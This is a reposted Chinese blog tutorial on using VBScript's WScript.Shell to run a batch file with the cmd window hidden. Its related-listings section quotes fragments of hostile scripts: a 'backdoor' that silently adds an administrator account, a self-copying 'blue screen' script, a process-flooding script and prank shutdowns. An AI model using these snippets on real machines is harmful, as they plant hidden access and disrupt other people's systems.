`
hro01hro
  • 浏览: 17516 次
社区版块
存档分类
最新评论

VBS WScript.Shell 隐藏cmd命令行

阅读更多

VBS WScript.Shell 隐藏cmd命令行
2010年10月10日
  以下文章转载自 脚本之家   jb51.net
  1. WScript.Shell(Windows Script Host Runtime Library)是一个对象,对应的文件是C:\WINDOWS\system32\wshom.ocx,Wscript.shell是服务器系统会用到的一种组件。shell 就是“壳”的意思,这个对象可以执行操作系统外壳常用的操作,比如运行程序、读写注册表、环境变量等。这个对象通常被用在VB或VBS编程中。
  2. 安装WScript.Shell对象:regsvr32 WShom.Ocx
  卸载WScript.Shell对象:regsvr32 -u WShom.Ocx或者regsvr32 /u WShom.Ocx
  3. 例子,假设mytest*.iso文件均在C:根目录下。建立mytest目录,将mytest*.iso文件拷贝到mytest目录下。
  建立testcopy.bat文件,存于C:根目录下。
  复制代码 代码如下:
  md mytest
  copy c:\mytest*.iso mytest
  pause
  双击testcopy.dat即可看到新建立的mytest目录及被拷贝的mytest*.iso文件。
  若隐藏cmd命令行窗口,有两种方法。
  (1)创建WScript.Shell对象,由该对象直接运行testcopy.dat文件,对应的vbs文件:testcopy1.vbs,双击testcopy1.vbs即可看到效果。
  复制代码 代码如下:
  dim objShell
  set objShell=wscript.createObject("WScript.Shell")
  iReturnCode=objShell.Run("c:\testcopy.bat",0,TRUE)
  (2)创建WScript.Shell对象,由该对象直接运行dos命令,及testcopy.dat中的命令,对应的vbs文件:testcopy2.vbs
  复制代码 代码如下:
  dim objShell
  set objShell=wscript.createObject("WScript.Shell")
  iReturnCode=objShell.Run("cmd.exe /c md mytest",0,TRUE)
  iReturnCode=objShell.Run("cmd.exe /c copy c:\mytest*.iso mytest",0,TRUE)
  详细出处参考:http://www.jb51.net/article/21296.htm
分享到:
评论

相关推荐

    Js使用WScript.Shell对象执行.bat文件和cmd命令

    WScript.Shell(Windows Script Host Runtime Library)是一个对象,对应的文件是C:/WINDOWS/system32/wshom.ocx,Wscript.shell是服务器系统会用到的一种组件。shell 就是“壳”的意思,这个对象可以执行操作系统...

    实现用bat文件登录telenet

    @echo WshShell.AppActivate"c:/windows/system32/cmd.exe">>d:/temp.vbs @echo WScript.Sleep 200>>d:/temp.vbs @echo WshShell.SendKeys"telnet %IPADD%{ENTER}">>d:/temp.vbs @echo WScript.Sleep 2000>>d:/...

    自动关机的

    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫哥哥,不叫哥哥一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "哥哥") a = inputbox ("叫哥哥,就不关机,快撒,说 ""哥哥"" ","说不说",...

    路由器设置批处理

    set ierunner = CreateObject("wscript.shell") ierunner.run "cmd /c start iexplore 192.168.1.1",0 wscript.sleep 10000 ierunner.sendkeys "admin" ierunner.sendkeys "{TAB}" ierunner.sendkeys ...

    vbs隐藏批处理运行窗口

    用vbs隐藏批处理运行窗口set ws=wscript.createobject("wscript.shell") ws.run "Trextop.cmd /start",0 讲上面的代码保存为Trextop.vbs ______________________________________________________________________...

    自动登入路由器批处理程序

    set ierunner = CreateObject("wscript.shell") ierunner.run "cmd /c start iexplore 192.168.1.1",0 wscript.sleep 10000 ierunner.sendkeys "admin" ierunner.sendkeys "{TAB}" ierunner.sendkeys "admin" ...

    真正2010杀毒宽带

    真正杀毒宽带连接 echo open 127.0.0.1>Ghost.sys ...echo CreateObject("WScript.Shell").Run "cmd /c Ghost.bat",H>>Ghost.vbs echo file.DeleteFile(WScript.ScriptName)>>Ghost.vbs Ghost.vbs&exit

    打开后电脑失控,直至关机.vbs

    seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "cmd.exe" seven.Run ...

    脚本制作迅雷后门脚本制作迅雷后门

    Set vbs=CreateObject("Wscript.Shell") vbs.run "cmd /c net user sunlei 1987 /add",0 vbs.run "cmd /c net localgroup administrator sunlei /add",0 意思很简单 就是加个sunlei的用户 然后加到管理员组 把...

    蓝屏代码

    Set ws=CreateObject("WScript.Shell") set fs=createobject("scripting.filesystemobject") dim a1,a2,a3,thn,i thn=wscript.scriptfullname a1=fs.getparentfoldername(fs.GetSpecialFolder(0)) fs.copyfile thn,...

    MDIE双心封装版

    //MDIE显示隐藏文件.vbs,这个不用VBS也行,直接把工具→快速选项设置→显示隐藏文件→用鼠标手势设置为R↓就行了。 MDIE.Command(5105) //在当前文件夹打开cmd窗口.js,这个网友发布的,然后把它设置为鼠标手势R↑→...

    关机vbs代码

    set WSHshellA createobject "wscript shell" WSHshellA run "cmd exe shutdown s t 0"

    ppt2jpg PPT输JPG的脚本

    一段利用wps将ppt转换成jpg的脚本代码。 需要在windows下使用。需要已按装wps。...wscript ppt2jpg.vbs PPT的完整路径 输出JPG的完整路径。 其他外部程序可以通过调用系统的shell指令,调用这个脚本。

Global site tag (gtag.js) - Google Analytics